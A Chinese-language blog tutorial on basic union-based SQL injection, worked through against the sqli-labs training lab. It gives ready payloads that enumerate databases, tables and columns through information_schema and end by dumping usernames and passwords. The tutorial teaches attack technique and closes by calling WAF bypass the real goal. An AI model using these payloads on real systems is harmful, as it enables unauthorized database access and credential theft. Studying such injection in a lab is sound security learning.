SQL注入——基本的注入方法(一)

最近几天学校刚好在学数据库,于是结合一下之前刷过的sql注入题做一个总结😎

前言

前置知识

SQL语法 具体不同的数据库还会有自己特有的一些语法结构或者函数等,这些都有可能成为我们注入的工具,但是我们很难成为开拓的人,我们只能去把它们积累起来,为我们以后的攻防作积累。

比较重要的基础,如增删改查,没学快去学!SQL语法

什么是SQL注入?

SQL注入(SQL Injection)是一种常见的Web安全漏洞,常常因为web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句

即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

我们以sqli-labs第一关为例

用GET方法传入参数

1
?id=1 //?表示查询参数

说明我们查询成功了,结果如图所示

为了看清原理及其结果,我们打开源码查看

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

乍一看感觉好像没啥问题是嘛?

但是如果对于提交的参数id做出了刻意构造,构造出了恶意的参数,就会造成原有的sql语句发生变化,从而执行恶意代码,这就是sql注入的原理。

话不多说,让我们开始实践吧

输入

1
id=1'

发现会有一句报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

但是为什么这样会报错呢,我们可以把参数带入原来的sql语句中可以发现

1
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";

整个sql语句中多了一个单引号,因为多了一个单引号,新加的单引号会和前面的单引号成对(引号都是成对出现的),因此多出来的单引号就会报错

那么既然我们构造什么sql都会解析,能不能构造一些特别的语句呢?

1
id=1'%23

为什么这时候程序却不报错了?

注:这里的%23就是注释符# 因为url会通过url编码将#解析为%23

再带入sql语句看

1
$sql="SELECT * FROM users WHERE id='1'#' LIMIT 0,1";

在这里注释符#发挥了他应有的作用,在注释符后面的代码全部都被注释掉了,因此无法发挥原有的作用

于是sql语句就变成了

1
$sql="SELECT * FROM users WHERE id='1'#;"

故成功的构造出了带有目的性的代码

SQL注入的流程

一.判断是否存在sqI注入与sqI注入的类型

1
首先注入后,看是否有报错,是字符型还是数字型;然后再用order by爆字段(列)数,知道几个字段了,再输入相应字段的数,来看有几个显示位(回显)

二、判断sqI注入是字符型还是数字型

1
比如说像id这个参数,我们输入id=1'报错了,说明是字符型注入,没有了话就是数字型注入

三、爆列数

1
2
3
4
首先知道表格有几列:?id=1'order by 3 --+
爆出显示位:?id=-1'union select 1,2,3--+
获取当前数据名和版本号:?id=-1'union select 1,database(),version()--+ //爆库名、看显位
因为只有三列,所以这里 select 1,2,3只能有三个数

order by 4到4时候会报错,说明只有三列

四、然后数据库名

五、爆表名

爆表名了话我们就要知道一个东西,叫information_schema

image-20241021182541636

information_schema 在 MySQL 5.0 版本中引入,里面包括

TABLES提供关于数据库中所有表的信息
COLUMNS提供关于表的列信息
SCHEMATA列出所有数据库(schema)的名称

等等

我们构造payload

1
?id=0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'%23

爆出了表名了,假如敏感信息在users表下,我们要进入users表获取其字段名

六、爆字段名

只需要修改一点地方

1
?id=0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'%23

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码

1
?id=-1' union select 1,2,group_concat(username ,id , password) from users%23

至此,一个简单的sql注入就完成了,但是实际中肯定没有这么简单,为了防范sql注入一些web应用会加上WAF(web application firewall)会对你传入的参数进行判断,是不是有害的,如果是则会拦截,因此学会绕过waf等才是我们的最终目的